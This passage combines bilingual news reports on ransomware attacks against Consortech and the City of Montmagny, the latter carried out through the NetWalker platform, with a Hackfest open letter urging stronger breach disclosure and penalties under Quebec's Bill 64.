Contacté le 8 mars, M. Guillaume Genest, associé et directeur général chez Consortech, confirme qu’un rançongiciel a paralysé leurs systèmes. L’arrêt a été de courte durée, car l’entreprise possédait « des backups en bonne santé ». Ils ont pu reprendre leur travail rapidement. M. Genest confirme que les malfaiteurs ont exigé une rançon, sans en préciser le montant, et qu’il ne l’a pas payée. Selon lui, il n’est pas exclu que l’assureur décide de payer après avoir complété une analyse du risque.

M. Genest ne peut dire à quel moment l’intrusion a eu lieu. Le procédé utilisé par les criminels pour accéder à leurs systèmes n’est pas encore connu. « Nous avons envoyé un avis à l’ensemble de notre clientèle pour les aviser de la situation et de la fuite de données ». La situation repose entre les mains d’une firme de cybersécurité et l’on ne peut se prononcer sur l’étendue de la fuite avant les résultats de l’enquête en cours.

Le lendemain de notre conversation, le nom de la compagnie et la page qui hébergeait les échantillons de données ne se trouvent plus sur le site « Avaddon info ». Cette disparition laisse croire que l’entreprise, ou son assureur, a décidé de payer la rançon. Nous avons tenté de contacter M. Genest par courriel pour confirmer le paiement, mais n’avons pas encore reçu de réponse au moment de la publication de cet article.

The recently dismantled NetWalker ransomware platform was responsible for the cyberattack that paralyzed the servers of the City of Montmagny last January.

It was early in the morning of January 17, while trying to handle snow removal operations, that employees noticed the city’s computers were no longer responding. Criminals associated with the NetWalker group had encrypted their data and were demanding a ransom to recover it.

The outage affected the telephone and computer systems of the city, the library and the Société de développement économique de Montmagny. The use of externally hosted services and redundancies allowed the controllers of the water treatment management system and the emergency telephone system to remain operational.

Data recovered without a ransom

Reached by phone, Mr. Félix Michaud, Director General of the City of Montmagny, says the city has recovered the stolen data. “A new secure architecture” will be up and running in a few days. “We were lucky in our misfortune,” since the authorities dismantled NetWalker ten days after this attack.

The data systems will be restored without loss and without any ransom being paid. Mr. Michaud cannot say how the data was recovered, because the experts “don’t reveal the secret ingredients of their recipes,” but it does not appear that the hackers made copies. The experts are keeping watch to see whether this data resurfaces.

NetWalker, a turnkey service

Netwalker was a platform that allowed “affiliates” to rent its services to carry out ransomware attacks. The affiliate finds vulnerable computer systems and deploys the software maintained by the platform’s “developers.” This group had adopted the “double extortion” strategy. In addition to encrypting the data, the group would publish a sample of it and threaten to make everything public in order to force its victims to pay the ransom. The profits are then shared between the affiliate and the developers.

On January 27, the United States Department of Justice announced the arrest of a 33-year-old man living in Gatineau, Sébastien Vachon-Desjardins, in connection with the dismantling of the NetWalker network. According to an article published by the firm chainalysis, he is allegedly responsible for 91 attacks since April 2020. The same week, Bulgarian authorities seized a server hosting a “dark web” site used to communicate with victims and give them payment instructions.

Montmagny’s IT services will be restored within a few days. Mr. Michaud hopes that talking about their experience will help raise awareness among other organizations and businesses of the risks posed by this type of attack. He points out that the city managed to keep providing the necessary services thanks to the staff’s creativity, and that “in adversity, it helps forge closer ties between team members.”

La plateforme de rançongiciel NetWalker, récemment démantelée, était responsable de l’attaque informatique qui a paralysé les serveurs de la ville de Montmagny au mois de janvier dernier.

C’est tôt le matin du 17 janvier, en tentant de s’occuper des opérations de déneigement, que des employés ont noté que les ordinateurs de la ville ne répondaient plus. Des malfaiteurs associés au groupe NetWalker avaient chiffré leurs données et réclamaient une rançon afin de les récupérer.

La panne a affecté les systèmes téléphoniques et informatiques de la ville, de la bibliothèque, ainsi que de la Société de développement économique de Montmagny. L’utilisation de services hébergés à l’externe et des redondances ont permis aux automates du système de gestion du traitement des eaux et au système téléphonique d’urgence de demeurer fonctionnels.

Des données récupérées sans rançon

Joint au téléphone, M. Félix Michaud, directeur général de la Ville de Montmagny, affirme que la ville a récupéré les données subtilisées. « Une nouvelle architecture sécurisée » sera en fonction dans quelques jours. « Nous avons été chanceux dans notre malchance », car les autorités ont démantelé NetWalker dix jours après cette attaque.

Les systèmes de données seront rétablis, sans perte et sans qu’une rançon soit payée. M. Michaud ne peut dire comment les données ont été récupérées, car les experts « ne dévoilent pas les ingrédients secrets de leurs recettes », mais il ne semble pas que les pirates ont effectué des copies. Les experts poursuivent une veille afin de surveiller si ces données refont surface.

NetWalker, un service clé en main

Netwalker était une plateforme qui permettait à des « affiliés » de louer ses services pour effectuer des attaques de type rançongiciel. L’affilié trouve des systèmes informatiques vulnérables et déploie le logiciel maintenu par les « développeurs » de la plateforme. Ce groupe avait adopté la stratégie de la « double extorsion ». En plus de chiffrer les données, le groupe en publiait un échantillon et menaçait de rendre le tout public afin de forcer leurs victimes à payer la rançon. Les profits sont ensuite partagés entre l’affilié et les développeurs.

Le 27 janvier, le département de la justice des États-Unis a annoncé l’arrestation d’un homme de 33 ans vivant à Gatineau, Sébastien Vachon-Desjardins, en lien avec le démantèlement du réseau NetWalker. Selon un article publié par la firme chainalysis, celui-ci serait responsable de 91 attaques depuis le mois d’avril 2020. La même semaine, les autorités bulgares saisissaient un serveur hébergeant un site sur le « dark web » utilisé pour communiquer avec les victimes et leur indiquer les procédures de paiement.

Les services informatiques magnymontois seront rétablis d’ici quelques jours. M. Michaud espère que le fait de parler de leur expérience servira à sensibiliser les autres organisations et entreprises aux risques que pose ce genre d’attaque. Il souligne que la ville a réussi à continuer à offrir les services nécessaires grâce à la créativité du personnel et que « dans l’adversité, cela permet de tisser des liens plus serrés entre les membres de l’équipe ».

• Addressed to: Commission d’accès à l’information du Québec (Quebec’s access to information commission) and of Canada
• By: Hackfest Communication and its participants:
  • Sam Harper
  • Coralie Grozner
  • Eric Hogue

Quebec is on its way to becoming a champion of security breaches. Many companies and organizations, such as Promutuel, the STM, the Ordre des Ingénieurs du Québec, HelpOX and many others, are falling victim to criminal groups using ransomware and other computer tools that allow them to steal data and extort their victims. Most of these breaches are not disclosed to the public, and a large number of these victims pay the ransoms. It is a lucrative market and, without a concerted response, it will only keep growing.

The Hackfest community is made up of people interested in cybersecurity. They are individuals who want to share their knowledge in the fields of information technology and cybersecurity. What we have in common is an awareness of the risks we are all exposed to when personal information is leaked. We care deeply about respecting confidentiality and security, and about putting appropriate measures in place to preserve them. We are speaking out because we believe this goal can be achieved through collaboration and greater transparency.

Disclosure obligation

Bill 64 is a step in the right direction. It will set out the obligation to disclose when a company is the victim of a security breach. We welcome the requirement to put clear privacy policies in place and the fact that the operator of a business is made responsible for protecting the personal information it holds.

Unfortunately, it seems to us that it leaves a lot of leeway to companies that want to avoid the obligation to disclose a “confidentiality incident.” The bill stipulates that a company is required to notify the Commission and the affected person only if the incident causes “serious injury.” We are currently seeing breaches, and their severity, being trivialized. We believe the balance should tip the other way, and that every “confidentiality incident” should be reported unless doing so would cause “serious injury.”

Knowledge sharing as a means of defence

It is rare for a company to disclose the technical information surrounding security breaches. Yet the community would benefit from a more open sharing of this information. While taking into account the need not to disclose sensitive or harmful information, a technical report should be required. What means did the criminals use? What software or organizational vulnerabilities were exploited? What types of data were stolen? How was the breach discovered?

Bill 64 provides for an obligation to take “reasonable” measures to ensure the security of personal information. These measures come at a cost. It would be interesting to know what percentage of their budget organizations and companies devote to cybersecurity. This information would allow customers to make an informed choice by choosing the companies that truly care about the security of their data.

Discouraging ransom payments

Ransomware is a lucrative business. As long as we pay, we will continue to be the victims of these attacks. Moreover, it is misguided to rely on criminal groups’ promises to destroy stolen data. A victim who pays once is a prime target for a second attack.

Deterrent administrative and monetary penalties

We are pleased to see monetary penalties introduced in Bill 64. Unfortunately, as long as the cost of inaction remains lower than the cost of an effective cybersecurity program, some will prioritize inaction. Penalties must be deterrent and large enough to encourage companies that do not take the threat seriously to invest adequately in cybersecurity.

We are aware that not all companies have the same means. However, keeping personal data is a choice that comes with responsibility. These penalties should therefore be paired with the possibility for SMEs to benefit from consulting services suited to their means.

Security breaches and data leaks are part of the new reality. The consequences for affected companies and their customers are serious. It is therefore essential to take this threat seriously and put the necessary measures in place to stem this scourge.

• Adressé à: Commission d’accès à l’information du Québec et du Canada
• Par: Hackfest Communication et ses participants:
  • Sam Harper
  • Coralie Grozner
  • Eric Hogue

Le Québec est en voie de devenir un champion des brèches de sécurité. De multiples entreprises et organismes, comme Promutuel, la STM, l’Ordre des Ingénieurs du Québec, HelpOX et bien d’autres, sont victimes de groupes criminels utilisant des rançongiciels et autres outils informatiques leur permettant le vol de données et l’extorsion. La plupart de ces brèches ne sont pas dévoilées au public et un grand nombre de ces victimes paient les rançons. C’est un marché lucratif et sans une réponse concertée, il ne fera que prendre de l’ampleur.

La communauté du Hackfest est composée de personnes intéressées par la cybersécurité. Il s’agit d’individus qui désirent partager leurs connaissances dans les domaines des technologies de l’information et de la cybersécurité. Nous avons en commun une sensibilisation face aux risques auxquels nous sommes toutes et tous exposés lorsque surviennent des fuites de renseignements personnels. Nous avons à cœur le respect de la confidentialité et de la sécurité et la mise en place de mesures appropriées pour la préserver. Nous prenons la parole car nous croyons que cet objectif est atteignable par la collaboration et une plus grande transparence.

Obligation de divulgation

Le projet de Loi 64 est un pas dans la bonne direction. Il va baliser l’obligation de divulgation lorsqu’une entreprise est victime d’une brèche de sécurité. Nous saluons l’obligation de mise en place de politique claire sur la confidentialité et le fait de rendre l’exploitant d’une entreprise responsable de la protection des renseignements personnels qu’il détient.

Malheureusement, il nous semble qu’il laisse beaucoup de marge de manœuvre aux entreprises qui désirent se soustraire à l’obligation de dévoiler un « incident de confidentialité ». Le projet de Loi stipule qu’une entreprise est dans l’obligation d’aviser la Commission et la personne impactée seulement si elle cause un « préjudice sérieux ». Nous constatons actuellement une banalisation des brèches et de la gravité de celles-ci. Nous croyons que la balance devrait pencher dans l’autre sens et que tout « incident de confidentialité » devrait être rapporté à moins qu’il y ait un « préjudice sérieux » de le faire.

Le partage des connaissances comme moyen de défense

Il est rare qu’une entreprise divulgue les informations techniques entourant les brèches de sécurité. Pourtant, la communauté sortirait gagnante d’un partage plus ouvert de ces informations. En tenant compte de la nécessité de ne pas dévoiler d’informations sensibles ou préjudiciables, un bilan technique devrait être exigé. Quels moyens les criminels ont-ils utilisés? Quelles sont les vulnérabilités logicielles ou organisationnelles qui ont été exploitées? Quels types de données ont été volées? Comment la brèche a-t-elle été découverte?

Le projet de Loi 64 prévoit une obligation de prendre les moyens « raisonnables » pour assurer la sécurité des renseignements personnels. Ces moyens ont un coût. Il serait intéressant de connaître le pourcentage du budget consacré à la cybersécurité par les organismes et entreprises. Cette information permettrait aux client-es de faire un choix éclairé en choisissant les entreprises qui ont réellement à cœur la sécurité de leurs données.

Décourager le paiement des rançons

Le rançongiciel est une entreprise lucrative. Tant que nous payons, nous continuerons à être les victimes de ces attaques. De plus, il est fallacieux de se fier aux promesses de destruction de données volées de la part de groupes criminels. Une victime qui paie une fois est une cible de choix pour une deuxième attaque.

Des sanctions administratives et pécuniaires dissuasives

Nous sommes contents de voir l’introduction de sanctions pécuniaires dans le projet de Loi 64. Malheureusement, tant que le coût de l’inaction demeure inférieur au coût d’un programme de cybersécurité efficace, c’est l’inaction qui sera priorisée par certains. Les sanctions doivent être dissuasives et assez importantes afin d’encourager les entreprises qui ne prennent pas la menace au sérieux à investir en cybersécurité de façon adéquate.

Nous sommes conscients que toutes les entreprises n’ont pas les mêmes moyens. Par contre, la conservation de données personnelles est un choix qui implique une responsabilité. Ces sanctions devraient donc être associées à la possibilité pour les PMEs de bénéficier des services de consultant-es à la hauteur de leurs moyens.

Les brèches de sécurité et les fuites de données font partie de la nouvelle réalité. Les conséquences pour les entreprises impactées et leurs client-es sont graves. Il est donc primordial de prendre cette menace aux sérieux et mettre en place les mesures nécessaires pour endiguer ce fléau.